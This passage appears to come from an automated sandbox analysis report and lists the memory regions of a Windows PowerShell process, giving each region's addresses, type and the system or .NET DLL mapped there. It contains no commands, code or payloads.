0x288ffff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 1379 start_va = 0x2a20000 end_va = 0x2b1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a20000" filename = "" Region: id = 1380 start_va = 0x2bd0000 end_va = 0x2cd0fff entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 1381 start_va = 0x2d80000 end_va = 0x2dfffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 1382 start_va = 0x2e00000 end_va = 0x1adfffff entry_point = 0x0 region_type = private name = "private_0x0000000002e00000" filename = "" Region: id = 1383 start_va = 0x1ae00000 end_va = 0x1b4cffff entry_point = 0x0 region_type = private name = "private_0x000000001ae00000" filename = "" Region: id = 1384 start_va = 0x1b4f0000 end_va = 0x1b56ffff entry_point = 0x0 region_type = private name = "private_0x000000001b4f0000" filename = "" Region: id = 1385 start_va = 0x7fee3590000 end_va = 0x7fee446bfff entry_point = 0x7fee3590000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll") Region: id = 1386 start_va = 0x7ff00040000 end_va = 0x7ff0004ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00040000" filename = "" Region: id = 1387 start_va = 0x7ff00050000 end_va = 0x7ff0005ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00050000" filename = "" Region: id = 1388 start_va = 0x7ff00060000 end_va = 0x7ff000fffff entry_point = 0x0 region_type = private name = "private_0x000007ff00060000" filename = "" Region: id = 1389 start_va = 0x7ff00100000 end_va = 0x7ff0010ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00100000" filename = "" Region: id = 1390 start_va = 0x7ff00110000 end_va = 0x7ff0017ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00110000" filename = "" Region: id = 1391 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1392 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1393 start_va = 0x390000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 1394 start_va = 0x1b570000 end_va = 0x1b851fff entry_point = 0x1b570000 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1395 start_va = 0x7fee2b60000 end_va = 0x7fee3582fff entry_point = 0x7fee2b60000 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system\\adff7dd9fe8e541775c46b6363401b22\\system.ni.dll") Region: id = 1396 start_va = 0x7fee5350000 end_va = 0x7fee5401fff entry_point = 0x7fee5350000 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b023321bc53c20c10ccbbd8f78c82c82\\microsoft.powershell.consolehost.ni.dll") Region: id = 1397 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 1398 start_va = 0x7fffff10000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 1399 start_va = 0x7fee2000000 end_va = 0x7fee2b5cfff entry_point = 0x7fee2000000 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management.a#\\009a09f5b2322bb8c5520dc5ddbb28bb\\system.management.automation.ni.dll") Region: id = 1400 start_va = 0x7ff00180000 end_va = 0x7ff0018ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00180000" filename = "" Region: id = 1401 start_va = 0x3b0000 end_va = 0x3b2fff entry_point = 0x3b0000 region_type = mapped_file name = "l_intl.nls" filename = "\\Windows\\System32\\l_intl.nls" (normalized: "c:\\windows\\system32\\l_intl.nls") Region: id = 1402 start_va = 0x27b0000 end_va = 0x286ffff entry_point = 0x27b0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1403 start_va = 0x77e00000 end_va = 0x77e06fff entry_point = 0x77e00000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1404 start_va = 0x1d00000 end_va = 0x1d00fff entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 1405 start_va = 0x1d10000 end_va = 0x1d14fff entry_point = 0x1d10000 region_type = mapped_file name = "sorttbls.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp") Region: id = 1406 start_va = 0x1d30000 end_va = 0x1d70fff entry_point = 0x1d30000 region_type = mapped_file name = "sortkey.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp") Region: id = 1407 start_va = 0x7ff00190000 end_va = 0x7ff0019ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00190000" filename = "" Region: id = 1408 start_va = 0x1d80000 end_va = 0x1d87fff entry_point = 0x1d80000 region_type = mapped_file name = "microsoft.wsman.runtime.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.runtime\\1.0.0.0__31bf3856ad364e35\\microsoft.wsman.runtime.dll") Region: id = 1409 start_va = 0x1ef0000 end_va = 0x1ef0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ef0000" filename = "" Region: id = 1410 start_va = 0x1b860000 end_va = 0x1b95ffff entry_point = 0x0 region_type = private name = "private_0x000000001b860000" filename = "" Region: id = 1411 start_va = 0x1e230000 end_va = 0x1e278fff entry_point = 0x1e230000 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1412 start_va = 0x7fee1be0000 end_va = 0x7fee1cc4fff entry_point = 0x7fee1be0000 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.transactions\\051655963f24f9ade08486084c570086\\system.transactions.ni.dll") Region: id = 1413 start_va = 0x7fee1cd0000 end_va = 0x7fee1ffdfff entry_point = 0x7fee1cd0000 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.core\\83e2f6909980da7347e7806d8c26670e\\system.core.ni.dll") Region: id = 1414 start_va = 0x7fee5020000 end_va = 0x7fee50c9fff entry_point = 0x7fee5020000 region_type = mapped_file name = "microsoft.wsman.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.wsman.man#\\8cd73e65058ef6f77f36b62a74ec3344\\microsoft.wsman.management.ni.dll") Region: id = 1415 start_va = 0x7fee50d0000 end_va = 0x7fee5101fff entry_point = 0x7fee50d0000 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuratio#\\fcf35536476614410e0b0bd0e412199e\\system.configuration.install.ni.dll") Region: id = 1416 start_va = 0x7fee52e0000 end_va = 0x7fee5348fff entry_point = 0x7fee52e0000 region_type = mapped_file name = "microsoft.powershell.commands.diagnostics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\microsoft.powershell.commands.diagnostics.ni.dll") Region: id = 1417 start_va = 0x1f00000 end_va = 0x1f00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 1418 start_va = 0x642ff4a0000 end_va = 0x642ff4a9fff entry_point = 0x642ff4a0000 region_type = mapped_file name = "culture.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\culture.dll") Region: id = 1419 start_va = 0x7fee1860000 end_va = 0x7fee189dfff entry_point = 0x7fee1860000 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\microsoft.powershell.security.ni.dll") Region: id = 1420 start_va = 0x7fee18a0000 end_va = 0x7fee19b7fff entry_point = 0x7fee18a0000 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\9206dc8156588e608d405729c833edc5\\microsoft.powershell.commands.management.ni.dll") Region: id = 1421 start_va = 0x7fee19c0000 end_va = 0x7fee1bd5fff entry_point = 0x7fee19c0000 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\cdf48153115fc0bb466f37b7dcad9ac5\\microsoft.powershell.commands.utility.ni.dll") Region: id = 1425 start_va = 0x2910000 end_va = 0x2963fff entry_point = 0x2910000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorrc.dll") Region: id = 1426 start_va = 0x7fee0ea0000 end_va = 0x7fee1034fff entry_point = 0x7fee0ea0000 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.directoryser#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\system.directoryservices.ni.dll") Region: id = 1427 start_va = 0x7fee1040000 end_va = 0x7fee11abfff entry_point = 0x7fee1040000 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management\\c44929bde355680c886f8a52f5e22b81\\system.management.ni.dll") Region: id = 1428 start_va = 0x7fee11b0000 end_va = 0x7fee1854fff entry_point = 0x7fee11b0000 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.xml\\ee795155543768ea67eecddc686a1e9e\\system.xml.ni.dll") Region: id = 1429 start_va = 0x7fee6880000 end_va = 0x7fee6886fff entry_point = 0x7fee6880000 region_type = mapped_file name = "shfolder.dll" filename = "\\Windows\\System32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll") Region: id = 1430 start_va = 0x1f00000 end_va = 0x1f10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 1431 start_va = 0x22e0000 end_va = 0x22e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000022e0000" filename = "" Region: id = 1432 start_va = 0x7fee01b0000 end_va = 0x7fee0333fff entry_point = 0x7fee01b0000 region_type = mapped_file name = "mscorjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorjit.dll") Region: id = 1433 start_va = 0x7ff001a0000 end_va = 0x7ff001affff entry_point = 0x0 region_type = private name = "private_0x000007ff001a0000" filename = "" Region: id = 1434 start_va = 0x7ff001b0000 end_va = 0x7ff001bffff entry_point = 0x0 region_type = private name = "private_0x000007ff001b0000" filename = "" Region: id = 1435 start_va = 0x7ff001c0000 end_va = 0x7ff001cffff entry_point = 0x0 region_type = private name = "private_0x000007ff001c0000" filename = "" Region: id = 1436 start_va = 0x7ff001d0000 end_va = 0x7ff001dffff entry_point = 0x0 region_type = private name = "private_0x000007ff001d0000" filename = "" Region: id = 1437 start_va = 0x7ff001e0000 end_va = 0x7ff001effff entry_point = 0x0 region_type = private name = "private_0x000007ff001e0000" filename = "" Region: id = 1438 start_va = 0x7ff001f0000 end_va = 0x7ff001fffff entry_point = 0x0 region_type = private name = "private_0x000007ff001f0000" filename = "" Region: id = 1439 start_va = 0x7ff00200000 end_va = 0x7ff0020ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00200000" filename = "" Region: id = 1440 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1441 start_va = 0x7ff00210000 end_va = 0x7ff0021ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00210000" filename = "" Region: id = 1442 start_va = 0x7ff00220000 end_va = 0x7ff0022ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00220000" filename = "" Region: id = 1443 start_va = 0x7ff00230000 end_va = 0x7ff0023ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00230000" filename = "" Region: id = 1444 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1445 start_va = 0x1b960000 end_va = 0x1ba5ffff entry_point = 0x0 region_type = private name = "private_0x000000001b960000" filename = "" Region: id = 1466 start_va = 0x22f0000 end_va = 0x22f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000022f0000" filename = "" Region: id = 1467 start_va = 0x1ba60000 end_va = 0x1bd5efff entry_point = 0x1ba60000 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\assembly\\GAC_64\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.data\\2.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1468 start_va = 0x7fedf520000 end_va = 0x7fedfd6afff entry_point = 0x7fedf520000 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data\\accc3a5269658c8c47fe3e402ac4ac1c\\system.data.ni.dll") Region: id = 1469 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1470 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1471 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1472 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1473 start_va = 0x7ff00240000 end_va = 0x7ff0024ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00240000" filename = "" Region: id = 1474 start_va = 0x7ff00250000 end_va = 0x7ff0025ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00250000" filename = "" Region: id = 1475 start_va = 0x2300000 end_va = 0x230ffff entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 1476 start_va = 0x2310000 end_va = 0x231ffff entry_point = 0x0 region_type = private name = "private_0x0000000002310000" filename = "" Region: id = 1477 start_va = 0x2320000 end_va = 0x232ffff entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 1478 start_va = 0x2870000 end_va = 0x287ffff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 1479 start_va = 0x7ff00260000 end_va = 0x7ff0026ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00260000" filename = "" Region: id = 1480 start_va = 0x7ff00270000 end_va = 0x7ff0027ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00270000" filename = "" Region: id = 1481 start_va = 0x7ff00280000 end_va = 0x7ff0028ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00280000" filename = "" Region: id = 1482 start_va = 0x1bdc0000 end_va = 0x1c74ffff entry_point = 0x0 region_type = private name = "private_0x000000001bdc0000" filename = "" Region: id = 1483 start_va = 0x7fedf190000 end_va = 0x7fedf2d2fff entry_point = 0x7fedf190000 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuration\\091b931d0f6408001747dbbbb05dbe66\\system.configuration.ni.dll") Region: id = 1484 start_va = 0x7fedf2e0000 end_va = 0x7fedf516fff entry_point = 0x7fedf2e0000 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.drawing\\5910828a337dbe848dc90c7ae0a7dee2\\system.drawing.ni.dll") Region: id = 1485 start_va = 0x7ff00290000 end_va = 0x7ff0029ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00290000" filename = "" Region: id = 1486 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1487 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 1488 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 1489 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1490 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1491 start_va = 0x1c750000 end_va = 0x1c99ffff entry_point = 0x0 region_type = private name = "private_0x000000001c750000" filename = "" Region: id = 1492 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1493 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1494 start_va = 0x2970000 end_va = 0x298ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002970000" filename = "" Region: id = 1495 start_va = 0x1c7d0000 end_va = 0x1c84ffff entry_point = 0x0 region_type = private name = "private_0x000000001c7d0000" filename = "" Region: id = 1496 start_va = 0x1c920000 end_va = 0x1c99ffff entry_point = 0x0 region_type = private name = "private_0x000000001c920000" filename = "" Region: id = 1497 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1498 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1499 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1500 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1501 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1502 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1503 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1504 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1505 start_va = 0x1c9b0000 end_va = 0x1ca2ffff entry_point = 0x0 region_type = private name = "private_0x000000001c9b0000" filename = "" Region: id = 1506 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1507 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1508 start_va = 0x1ca30000 end_va = 0x1cb4ffff entry_point = 0x0 region_type = private name = "private_0x000000001ca30000" filename = "" Region: id = 1509 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1515 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1516 start_va = 0x1cb50000 end_va = 0x1cd6ffff entry_point = 0x0 region_type = private name = "private_0x000000001cb50000" filename = "" Region: id = 1517 start_va = 0x753a0000 end_va = 0x753a2fff entry_point = 0x753a0000 region_type = mapped_file name = "security.dll" filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll") Region: id = 1518 start_va = 0x7fefd210000 end_va = 0x7fefd266fff entry_point = 0x7fefd210000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 1519 start_va = 0x2990000 end_va = 0x2991fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 1520 start_va = 0x7fefd620000 end_va = 0x7fefd66dfff entry_point = 0x7fefd620000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 1521 start_va = 0x7fefd5f0000 end_va = 0x7fefd611fff entry_point = 0x7fefd5f0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1522 start_va = 0x7fefd0c0000 end_va = 0x7fefd10bfff entry_point = 0x7fefd0c0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1523 start_va = 0x1cc10000 end_va = 0x1cc8ffff entry_point = 0x0 region_type = private name = "private_0x000000001cc10000" filename = "" Region: id = 1524 start_va = 0x1ccf0000 end_va = 0x1cd6ffff entry_point = 0x0 region_type = private name = "private_0x000000001ccf0000" filename = "" Region: id = 1525 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1526 start_va = 0x1cd70000 end_va = 0x1cf6ffff entry_point = 0x0 region_type = private name = "private_0x000000001cd70000" filename = "" Region: id = 1527 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1528 start_va = 0x7ff002a0000 end_va = 0x7ff002affff entry_point = 0x0 region_type = private name = "private_0x000007ff002a0000" filename = "" Region: id = 1529 start_va = 0x1bd60000 end_va = 0x1bd9ffff entry_point = 0x0 region_type = private name = "private_0x000000001bd60000" filename = "" Region: id = 1530 start_va = 0x7fefc290000 end_va = 0x7fefc4a4fff entry_point = 0x7fefc290000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 1531 start_va = 0x1c750000 end_va = 0x1c7bffff entry_point = 0x0 region_type = private name = "private_0x000000001c750000" filename = "" Region: id = 1532 start_va = 0x1cfd0000 end_va = 0x1d04ffff entry_point = 